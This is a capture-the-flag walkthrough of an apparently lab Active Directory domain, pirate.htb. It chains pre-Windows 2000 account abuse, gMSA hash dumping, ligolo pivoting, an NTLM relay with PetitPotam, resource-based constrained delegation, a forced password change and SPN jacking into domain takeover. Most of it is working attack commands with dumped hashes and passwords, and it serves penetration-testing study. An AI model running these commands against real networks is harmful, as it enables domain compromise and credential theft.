Attack Path

Reconnaissance
Pre-Windows 2000 Computers
DACL Abusing. ReadGMSAPassword rights
Pivoting. NTLM relay to LDAP. RBCD
DACL Abusing. ForceChangePassword
SPN Jacking. Domain Takeover

[+] initial creds -> pentest : p3nt3st2025!&

~> Recon with Nmap

sudo nmap -p- $IP -sV -sC --min-rate=5000 -oN nmap-scan

Scan output:

Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-28 03:37:52Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-28T03:39:25+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-28T03:25:59
|_Not valid after:  2027-08-28T03:25:59
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-28T03:25:59
|_Not valid after:  2027-08-28T03:25:59
|_ssl-date: 2026-08-28T03:39:24+00:00; +7h00m00s from scanner time.
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-28T03:25:59
|_Not valid after:  2027-08-28T03:25:59
|_ssl-date: 2026-08-28T03:39:25+00:00; +7h00m01s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-28T03:25:59
|_Not valid after:  2027-08-28T03:25:59
|_ssl-date: 2026-08-28T03:39:25+00:00; +7h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
#....
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2026-08-28T03:38:47
|_  start_date: N/A

Scanning reveals that we are dealing with a domain controller based on the open ports.

At this point, it is possible to highlight some findings:

Domain Name: pirate.htb

NETBIOS Name: DC01

Clock Skew: +7h

~> Some preparations

For more convenient interaction with a DC and further use of Kerberos, it’s recommended to do the following steps:

1) Add name resolution to /etc/hosts:

10.129.244.95    DC01.pirate.htb pirate.htb DC01

2) Generate the krb5.conf file:

nxc smb dc01.pirate.htb --generate-krb5-file /etc/krb5.conf

3) Synchronize the time:

sudo timedatectl set-ntp false
sudo ntpdate -u dc01.pirate.htb

Now we can go on.

~> Begin recon

Although we are able to gather information for bloodhound due to the presence of the valid credentials, I want to do some reconnaissance manually.

> SMB Shares

nxc smb dc01.pirate.htb -u 'pentest' -p $PASS --shares

Nothing. There are no useful SMB shares to research.

> LDAP (manual)

For LDAP queries, I used the ldapsearch.

First, users within the domain were checked:

LDAPTLS_REQCERT=never ldapsearch -x \
-D 'pentest@pirate.htb' -w $PASS \
-H ldaps://dc01.pirate.htb:636 -b "dc=PIRATE,dc=HTB" '(objectClass=User)' sAMAccountName \
| grep sAMAccountName:

This list is short enough.

sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: DC01$
sAMAccountName: krbtgt
sAMAccountName: a.white_adm
sAMAccountName: a.white
sAMAccountName: <span class="highlight_computer"> WEB01</span>$
sAMAccountName: MS01$
sAMAccountName: EXCH01$
sAMAccountName: gMSA_ADCS_prod$
sAMAccountName: pentest
sAMAccountName: gMSA_ADFS_prod$
sAMAccountName: j.sparrow

~> Pre-Windows 2k Computers

The list above contains computer accounts that always end with a dollar sign (like COMPUTERNAME$).

Also we need to pay attention to the Windows version that is often displayed by the NetExec tool:

[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)

Since Microsoft introduced the Windows Server 2025, the security of default machine account passwords has been improved - due to the text from the official release notes page:

Windows 2025 DCs block setting computer account passwords to the default password of the computer account name. 
#...
ADAC and ADUC no longer allow creation of a pre-Windows 2000 account.

Another option worth mentioning, which exists in Windows Server 2019 (but does not in Windows Servers 2025) is the following one:

alt text

It is just a mention of the new versions and the fact that the following version (2019) supports this feature =)

Okay. What am I getting at? -> We may suppose that within the current domain, there are computer accounts configured as pre-Windows 2000.

Pre-Windows 2000 computers usually have a password that matches their name. For example, if a computer’s name is WS01$, its password will be ws01.

How can we distinguish pre-Windows 2000 computers from non-pre-Windows 2000?

Pre-Windows 2000 computers have some distinctive features:

~> The LogonCount attribute’s value is 0

~> The UserAccountControl attribute’s value is 4128 (32 - PASSWD_NOTREQD + 4096 - WORKSTATION_TRUST_ACCOUNT)

Now that we have figured out what pre-Windows 2k computers are, let’s try to find them using the following LDAP query:

LDAPTLS_REQCERT=never ldapsearch -x \
-D 'pentest@pirate.htb' -w $PASS \
-H ldaps://dc01.pirate.htb:636 -b "CN=Computers,DC=pirate,DC=htb" \ 
> '(&(UserAccountControl=4128)(LogonCount=0))' sAMAccountName DistinguishedName LogonCount UserAccountControl

The result:

# MS01, Computers, pirate.htb
dn: CN=MS01,CN=Computers,DC=pirate,DC=htb
distinguishedName: CN=MS01,CN=Computers,DC=pirate,DC=htb
userAccountControl: 4128
logonCount: 0
sAMAccountName: MS01$

# EXCH01, Computers, pirate.htb
dn: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
distinguishedName: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
userAccountControl: 4128
logonCount: 0
sAMAccountName: EXCH01$

As shown above, two computers correspond to these distinctive features.

But if we try to authenticate using NTLM:

nxc smb dc01.pirate.htb -u 'ms01$' -p 'ms01'

We will get the following problem:

[-] pirate.htb\ms01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

In this case, we can avoid this using Kerberos authentication.

First, get a TGT for MS01:

getTGT.py pirate.htb/'MS01$'

Enter a passsword -> ms01.

Export ccache file to the environment variable:

export KRB5CCNAME=$(pwd)/MS01\$.ccache

Check the TGT:

klist                   

After these actions, we can freely use this ticket for authentication:

nxc smb dc01.pirate.htb --use-kcache

Obtaining the MS01 account was pretty cumbersome. So, to facilitate this type of process, we can just use the NetExec’s pre2k module:

nxc ldap dc01.pirate.htb -u 'pentest' -p $PASS -M pre2k

alt text

~> gMSA accounts

At this point, gather information about the domain using Rusthound-CE tool:

rusthound-ce -u 'pentest' -p $PASS \          
-d pirate.htb -c All -z

After receiving Happy Graphing!, we uploaded ZIP archive to Bloodhound.

EXCH01 has no interesting vectors for the further way; however, this cannot be said about MS01.

The MS01 account is a member of the Domain Secure Server group.

Look at this graph:

alt text

A membership in this group gives us ReadGMSAPassword rights over two objects -> gMSA accounts, both of which, in turn, give us access to DC01 via their Remote Management Users group membership.

Group Managed Service Accounts (gMSA) are special domain accounts that are often used to facilitate service account management. They can be used to run services, scheduled tasks, etc.

The key point about gMSAs is that their passwords are randomly generated and automatically rotated by AD. The password is not intended to be known or managed by administrator.

The ReadGMSAPassword right grants us the ability to retrieve the managed password stored in the msDS-ManagedPassword attribute.

gMSADumper helps extract password hashes:

gMSADumper -k -d pirate.htb

alt text

gMSA_ADCS_prod$ : 1430191bce4f3731edd34d8c24a56c23

gMSA_ADFS_prod$ : bb510d80e8ed89f4cc81a1f1d374e164

After getting the hashes of both computer accounts, we can access a shell.

Perform PtH:

evil-winrm -H 1430191bce4f3731edd34d8c24a56c23 -u 'gMSA_ADCS_prod$' -i pirate.htb

~> In1ern@l N3twork

Here, another network interface exists (ipconfig): alt text

The DC’s IP address is 192.168.100.1.

Earlier the WEB01 computer was revealed by the LDAP query.

sAMAccountName: WEB01$

I’ve tried to test the connection to this host:

Test-NetConnection -ComputerName 'WEB01'

Result:

ComputerName           : WEB01
RemoteAddress          : 192.168.100.2
InterfaceAlias         :
SourceAddress          :
PingSucceeded          : True
PingReplyDetails (RTT) : 0 ms

[+] WEB01 internal address -> 192.168.100.2

At this point, we can interact with WEB01 only via DC01 which will play a role of pivot host.

Pivoting is a technique used during engagements to use a compromised host as a gateway into an internal network that is unreachable from outside.

Launch ligolo:

ligolo-proxy -selfcert -api-laddr 127.0.0.1:11602

On the target, deliver the ligolo agent and execute the following command:

agent.exe --connect 10.10.14.98:11601 -ignore-cert

Establish a tunnel: alt text

» session
» interface_create --name ligolo
» tunnel_start --tun ligolo

And the last step -> add a route for the created interface:

sudo ip route add 192.168.100.0/24 dev ligolo

~> NTLM Relay + RBCD

Nmap scan of WEB01:

nmap 192.168.100.2 --open -sV -sC --privileged

display the following results:

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-08-28T04:59:12
|_  start_date: N/A

The key discovery is an output by the smb2-security-mode script.

This -> Message signing enabled but not required - indicates that SMB signing is supported but not enforced, so, we can potentially attempt to perform NTLM relay attack.

~> NTLM Relay to LDAP

An NTLM relay attack is a MiTM-like technique in which an attacker obtains a victim’s NTLM authentication requestt and relays it to another service, allowing the attacker to authenticate to that service as the relayed principal without knowing its password.

Start ntlmrelay:

ntlmrelayx.py -t ldap://pirate.htb --remove-mic --escalate-user 'MS01$' --delegate-access -smb2support

Coerce WEB01 to authenticate to our kali host using PetitPotam:

python3 PetitPotam.py -u 'gMSA_ADCS_prod$' -hashes :1430191bce4f3731edd34d8c24a56c23 -d pirate.htb 10.10.14.98 192.168.100.2

We force WEB01 to authenticate via NTLM to our intermediate host, while the authentication is then relayed to DC01. The authentication data is captured and proxied to the DC01 ldap service ldap://pirate.htb.

We can perform an NTLM relay to LDAP because of the DC’s configuration: DC01 does not require LDAP signing (due to NetExec’s output - Signing:None).

The --delegate-access causes ntlmrelayx to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target machine (WEB01). The --escalate-user option allows us to specify a principal (in this case MS01$ account) in order to grant it permission to delegate access to WEB01. Also the --remove-mic is required for bypassing NTLM Message Integrity Code (MIC) validation.

Thus, as the result, we have MS01 account with the ability to impersonate other accounts when accessing services on WEB01. In other words, we change the AD configuration in a way that enables Resource-Based Contrained Delegation.

alt text

We can check whether the msDS-AllowedToActOnBehalfOfOtherIdentity attribute is actually set:

LDAPTLS_REQCERT=never ldapsearch -x -D 'pentest@pirate.htb' -w $PASS  -H ldaps://dc01.pirate.htb:636 -b "cn=Computers,dc=PIRATE,dc=HTB" '(cn=WEB01)' msDS-AllowedToActOnBehalfOfOtherIdentity

~> Resource-Based Constrained Delegation

Resource-Based Constrained Delegation is an AD feature that addresses the Kerberos double-hop problem, allowing a trusted principal (hop 1) to obtain a service ticket to a defined service on a target host (hop 2) on behalf of another user. The target computer (hop 2) must have the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which specifies the principal (hop 1) that is trusted to act on behalf of other users when accesssing services on the target.

At this point, the controlled host (MS01) can obtain a service ticket using S4U2Proxy Kerberos extension on behalf of Administrator on WEB01:

getST.py -k -no-pass pirate.htb/'MS01$' -spn 'cifs/WEB01.pirate.htb' -impersonate Administrator

alt text

Set the obtained ticket as an environment variable.

export KRB5CCNAME=./Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

DUMP EVERYTHING with secretsdump.py:

secretsdump.py -k -no-pass pirate.htb/Administrator@WEB01.pirate.htb -target-ip 192.168.100.2

Result:

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
...
[*] DefaultPassword 
PIRATE\a.white:E2nvAOKSz5Xz2MJu

[+] Administrator : b1aac1584c2ea8ed0a9429684e4fc3e5 [+] PIRATE\a.white:E2nvAOKSz5Xz2MJu

The local Administrator hash and the cleartext password for the a.white domain user were obtained.

Get a shell as an Administrator on WEB01 and read the user.txt:

evil-winrm -i 192.168.100.2 -u 'Administrator' -H 'b1aac1584c2ea8ed0a9429684e4fc3e5'

alt text

cat C:/Users/a.white/Desktop/user.txt

[+] C:\Users\a.white\Desktop\user.txt

~> ForceChangePassword over a.white_adm

Now, the a.white is under our control:

nxc smb dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'                               
[+] pirate.htb\a.white:E2nvAOKSz5Xz2MJu

In bloodhound, a.white has ForceChangePassword rights over a.white_adm as shown here:

alt text

Change a password using the following command:

bloodyad --dc-ip 192.168.100.1 -d "pirate.htb" -u "a.white" -p "E2nvAOKSz5Xz2MJu" set password "a.white_adm" 'Qwe123!@#'

Now, we have the a.white_adm account.

~> SPN Jacking

a.white_adm has pretty interesting rights :)

alt text

alt text

As shown above, a.white_adm is a member of IT group which is granted WriteSPN rights over four computers including WEB01 and DC01. Moreover, the AllowedToDelegate is also assinged to a.white over WEB01.

These permissions make SPN jacking a viable attack path.

An SPN jacking is an attack technique that combines a constratined delegation with DACL abusing. It allows an attacker with WriteSPN permissions to move an SPN from one computer account to another potentially redirecting Kerberos authentication and gaining access to the target service.

Via LDAP query information about configured delegation:

nxc ldap dc01.pirate.htb --use-kcache --find-delegation
Constrained w/ Protocol Transition

alt text

This output indicates that a.white_adm can impersonate any domain user when obtaining service tickets to the HTTP/WEB01 and HTTP/WEB01.pirate.htb SPNs assigned to WEB01.

Constrained delegation with protocol transition is a delegation mechanism that allows a service to obtain a Kerberos service ticket on behalf of another user without requiring that user’s kerberos authentication to the service first.

Since we have WriteSPN permissions over DC01, we can assign the HTTP/WEB01.pirate.htb SPN to DC01. However, because an SPN must be unique within the domain, we cannot assign it to the DC while it is still associated with WEB01. Therefore, we first need to remove the SPN from WEB01.

BloodyAD includes a useful command -> msldap which can be used to manipute SPNs. (bloodyad msldap --help)

First, remove the SPN from WEB01:

bloodyad --dc-ip 192.168.100.1 -d "pirate.htb" -u "a.white_adm" -p 'Qwe123!@#' msldap delspn 'CN=WEB01,CN=Computers,DC=pirate,DC=htb' 'HTTP/WEB01.pirate.htb'

Next, assign the SPN to DC01:

bloodyad --dc-ip 192.168.100.1 -d "pirate.htb" -u "a.white_adm" -p 'Qwe123!@#' msldap addspn 'CN=DC01,ou=Domain Controllers,DC=pirate,DC=htb' 'HTTP/WEB01.pirate.htb'

Now, the HTTP/WEB01.pirate.htb SPN is associated with DC01, it is possible to request a service ticket for it:

getST.py pirate.htb/a.white_adm:'Qwe123!@#' -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator -altservice cifs/DC01.pirate.htb -dc-ip dc01.pirate.htb

alt text

This command reqquests an ST for the previously assigned SPN while impersonating the Administrator account. The -altservice option allows us to use the obtained ticket for the cifs/DC01.pirate.htb service.

The last step, run secretsdump.py:

secretsdump.py -k -no-pass  pirate.htb/Administrator@DC01.pirate.htb

And use the Administrator’s hash to access root.txt:

evil-winrm -H 598295e78bd72d66f837997baf715171 -u 'Administrator' -i pirate.htb

alt text

[+] C:/Users/Administrator/Desktop/root.txt